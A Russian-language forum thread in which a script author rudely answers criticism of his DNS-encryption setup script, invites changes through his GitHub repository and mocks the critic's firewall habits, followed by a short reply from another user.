  • неграмотнае, несмотря на все твои старания установка и настройка шифрования запросов днс.
  • ты по всей видимочсти не видишь разницы между трафиком днс и udp-протоколом, тиак как в комеентариях я читал некорректное применение этих понятий
  • сам скрипт - сырой. уважающий себя програмист попросту постесняется его показывать на суд, а если показал, то ОБЯЗАН быть готов в критике
  • и щё много чего.
Обсыхай пока.
бдрст-ай-нид-йо-харт-фром-май-харт-ту-ё-харт.. ))))) не торопись, обсыхает по ходу только тут твой монитор =)) если есть что сказать - не эту чухню, а реально дельные предложения:
git clone https://github.com/l4ckyguy/ukn0w /ukn0w --depth 1 ; cd /ukn0w =>> тут должны быть твои правки любые =>> git add . ; git commit ; git push
так будет по-мужски ;-)

ЗЫ: и вытри слюни с монитора..)
ЗЫЫ: насчёт файрволла - задача сугубо-личная. Возможно извращенцам, типа тебя(ну ты же тут файрволл рекомендуешь всем), обожают просматривать

```tail -F /var/log/access.log
```
ловить каждый коннект (порт) и судорожно вносить его в вайтлист... ну и прочие подобные штучки, не в курсе что вы там еще предпочитаете. Но я не такой. Юзаю редиректоры, ipset (про который, если бы ты вытер монитор, мог бы прочесть внутри скрипта) и еще пару приемов, которые с грацией кошки направляют интересующихся в сторону, которую указал за пару сообщений до этого, там в модреврайт))) думаю ты понимаешь о чем это я)

ЗЫЫЫ: насчет атакующих серверов и мышеловок-призраков я бы на твом месте сходил сам знашь куда. так и до просмотри улицы сезам недалеко. не затягивай ;-)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Круто... Профессионально... Дешево... Сердито... От меня +
Считаю самый нормальный варик был - написать статью "как я с Алешей поповичем за Золотой Дискетой ходили. Вот Вам карта. Но она не работает."
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх